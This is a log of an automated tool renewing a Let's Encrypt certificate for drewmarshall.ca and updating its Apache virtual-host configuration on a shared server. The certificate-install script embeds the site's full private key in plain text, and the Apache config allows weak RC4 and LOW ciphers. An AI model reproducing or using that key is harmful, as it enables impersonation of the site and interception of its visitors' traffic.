MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-02 08:36:59: Establishing a connection
2026-05-02 08:36:59: Establishing a connection
2026-05-02 08:36:59: 

PUT: /tmp/pkp909172

#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-02 08:36:59: 

chmod 755 /tmp/pkp909172; /tmp/pkp909172; rm /tmp/pkp909172

2026-05-02 08:36:59: 


1


2026-05-02 08:37:00: Establishing a connection
2026-05-02 08:37:01: 

PUT: /tmp/pkp544608

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > _-ZXZ4P9TGZkW4zH2Ht54igfP1blYZh9bqEE_NgoS8s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_-ZXZ4P9TGZkW4zH2Ht54igfP1blYZh9bqEE_NgoS8s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _-ZXZ4P9TGZkW4zH2Ht54igfP1blYZh9bqEE_NgoS8s
cat > Hw2aMd2SotydbDAPoRLRpzTFpeXgupokPLNyN0IZO9c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Hw2aMd2SotydbDAPoRLRpzTFpeXgupokPLNyN0IZO9c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Hw2aMd2SotydbDAPoRLRpzTFpeXgupokPLNyN0IZO9c


2026-05-02 08:37:01: 

chmod 755 /tmp/pkp544608; /tmp/pkp544608; rm /tmp/pkp544608

2026-05-02 08:37:01: 




2026-05-02 08:37:12: Establishing a connection
2026-05-02 08:37:12: 

PUT: /tmp/pkp401119

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm _-ZXZ4P9TGZkW4zH2Ht54igfP1blYZh9bqEE_NgoS8s
rm Hw2aMd2SotydbDAPoRLRpzTFpeXgupokPLNyN0IZO9c


2026-05-02 08:37:12: 

chmod 755 /tmp/pkp401119; /tmp/pkp401119; rm /tmp/pkp401119

2026-05-02 08:37:12: 




2026-05-02 08:37:12: Establishing a connection
2026-05-02 08:37:12: 

PUT: /tmp/pkp326507

#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt

cat > $temp_file <<'endmsg'
4c:1f:36:a2:84:98:31:7b:49:da:f2:d0:b4:87:68:53

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBnRutjCxc/Jw5oY48KgIynvJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTAyMDczODQxWhcNMjYwNzMxMDczODQwWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC6KIhOPDym4HiE6l/iDdDVf0CmpMaihnE9eY499AtSmUOQ5pgoUvGTwux2954v
/ZHBswLstnEqbqi75gQQGFeunTYxjrTHLB82+/qudXYP3t6LhxZRsAqAUD/G4cjN
XdYoQelnkvwh4Y2pMFayWKaKUb50xbzyWd8TXyPM2s56/479vdRXB6Hn+2k62B7O
KkZ8XK80TJPZUpAUCX17RQp7yLlq3n202WSCwyMuENCUnsGUzqJAYXKGKr4Kuhsb
FctXkpR5G9GcCmZ4Q77OQ379eRflYKo7TmH9f+j2EfhWH4wDWy+2LakGp9fNNVu3
oX+Vz9hTqp6ZKxqCyz/rPomRAgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUHM8k
v7ENsTHqxsuRsZ+69FG0NDgwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM
0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9kcmV3bWFyc2hhbGwuY2GCE3d3dy5kcmV3bWFy
c2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMi5jLmxlbmNyLm9yZy83NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9
BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ3n1aUE
AAAEAwBHMEUCIDKLQA5BLox/h/7/JQawTfzx9P2++In7RKjvsmywx0/eAiEAlS6g
aLBVGJRfLwsIG8AThdLZSJSSbo8YXQjupxo/qLYAfgAai51rD/6/gbR5OcbSMQqG
1tEC1PBG4hgsneNfXiYl7wAAAZ3n1aWUAAgAAAUADfodrgQDAEcwRQIhAOi0yKBS
0AXGjJy3YH2UQLl0hq1DdM7omYglGvClI1cLAiAxyPSfRuUK98/EEUU2EiwaMPRw
wkUmQ+1cNUqDc4YnLzANBgkqhkiG9w0BAQsFAAOCAQEAcp7UbvyXdJ14DGGRsuFm
q+YnieVaP8crnUsfkO9EedcBTpGg4bzeOGf8bVUyin3q5qMlKy90TykJUYFC7WT5
AlQoUb6P4nZUSFxJk9lVS34bTRL19yhWLFEdEKVaOMqzReDcx31VaP4GvvRdHuST
9FNTCW1TJ2KGIFQpPr08ySfmNAob0MMplxb5yYn5dARhK21Zp+4V9HPSMxFdIixI
sKGTwDeCf30K0fZFf87uyKlcUwt6exqBIo5Yf6ZF7Om5w7lQ7alVxWP7lSbCCfYG
+zQDsoqHYOsxpk5X3ao84smHzi+slnTrvsQUdUnhQ8JhGvr3NonV94xFApJjK5+N
OQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC6KIhOPDym4HiE
6l/iDdDVf0CmpMaihnE9eY499AtSmUOQ5pgoUvGTwux2954v/ZHBswLstnEqbqi7
5gQQGFeunTYxjrTHLB82+/qudXYP3t6LhxZRsAqAUD/G4cjNXdYoQelnkvwh4Y2p
MFayWKaKUb50xbzyWd8TXyPM2s56/479vdRXB6Hn+2k62B7OKkZ8XK80TJPZUpAU
CX17RQp7yLlq3n202WSCwyMuENCUnsGUzqJAYXKGKr4KuhsbFctXkpR5G9GcCmZ4
Q77OQ379eRflYKo7TmH9f+j2EfhWH4wDWy+2LakGp9fNNVu3oX+Vz9hTqp6ZKxqC
yz/rPomRAgMBAAECggEABNbyK+TaF6VhDg/jotZkshzjGZn8eIP0gcptLGGRzEmk
ACprNQGABTfaytZ8lYc69iKmY4X0NUv9GsJxI1kl/r9YpfXtmk/PNsWbAn9XAgoI
y4Q9QYMpPg/9XSPS+GTVa8SX50Y4Lr96MyEeCzhYXw2e571ZdcxTQHc3cJdVKXfR
SIO9d40GiF8z4ii7eK/lL/a0YLt1nINQ0f7CVY+PcHpratKluRERXLH9PcZp7pI7
h7mymw9p8wREHAZ7hpxuPwV5MtNeiyKooYdcLrSjtbC53PaZ+ks4vgJlws6oPXfu
egkvFFKYsxZ3kewP3fxy3Qq2hB3EFSoGABExP0lS6QKBgQDd8m96hUTxhNsutGzs
o4kfb8vutHNM1kUmSbRl3WQ/Zfc0b/EGDkXdUUWKKlcjjyBE7e0GcCJP0r/8DBsE
S72ykcls/el4b0Zm6AUpy5JHtFC1s9GQU7RkekXZRL1l2JR2c9/TVj2nGunfj0EP
o/kiiCowgQsrL9i1Muj2EbVUuQKBgQDWuGaAI+mawonv6Fj7swkYsjEgi7FvCJKY
ByKqBYfxkCIVVkWT5CLpXOxwDLX+r6/3slw1kkBy5xJdbnb9JxYBwOadV1at3eig
VMbhR3W1rJjvE9hyM0yUWDO9yVh4wNGBO/eT6tbBYNVEOvq+81mA0jxM9sw4reCv
j5/6yECfmQKBgGoxfk9UBpm8pJajM17CHHDTL/MlmelQuENKjqsSk82VvwLy8JKi
L6FmKmyiN5FHAPyaDoe/DVu+DafOLvsONlSDVqn0j0nVjAzexOGrinEOgHN/9ywk
MLLGojcDoc9iIh7O8HAQ2mzi/rW9uDaAkUqJdg5BIBPoz7pbAoYCEQ3ZAoGBAIHs
LCFnGYfKJLqkhYsvRtbJo45E2IUN093nm2LzW9Gf2++7NviIt1MrJema11iXJ8ui
AcdsilC8XtFn8Nm3F8rR1PjpiwpDVuoEwh44JhJasGMhR/u57KFqSUySE1Vlnp8r
EOBQ3cc+92yEn4qBJuwayd/sCaBWHbk9F5kgKHIpAoGAOMmyA6KAZo+sbimj0YKA
pOZ5kt3KxRJbwZpr+0u1QbvROZcXgcBo2ONU2jepKbtw9fZ4UFD9t/uER+S7lexb
HGBdopgHIcC+dw7kbdTLMsBIjn3IkTIdmgJ7rk7IRH1VItOZn+zdE4QlNoGKOLzU
BkcVoe9zE/7yH5DcCDzO0Qk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-02 08:37:12: 

chmod 755 /tmp/pkp326507; /tmp/pkp326507; rm /tmp/pkp326507

2026-05-02 08:37:13: 


dir=/etc/ssl/certs


2026-05-02 08:37:13: 

PUT: /tmp/pkp322460

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-02 08:37:13: 

chmod 755 /tmp/pkp322460; /tmp/pkp322460; rm /tmp/pkp322460

2026-05-02 08:37:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-02 08:37:13: 

PUT: /tmp/pkp633932

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi


2026-05-02 08:37:13: 

chmod 755 /tmp/pkp633932; /tmp/pkp633932; rm /tmp/pkp633932

2026-05-02 08:37:13: 




2026-05-02 08:37:13: 

PUT: /tmp/pkp517771

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-02 08:37:13: 

chmod 755 /tmp/pkp517771; /tmp/pkp517771; rm /tmp/pkp517771

2026-05-02 08:37:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-02 08:37:13: Establishing a connection
2026-05-02 08:37:13: 

PUT: /tmp/pkp820288

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-02 08:37:13: 

chmod 755 /tmp/pkp820288; /tmp/pkp820288; rm /tmp/pkp820288

2026-05-02 08:37:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
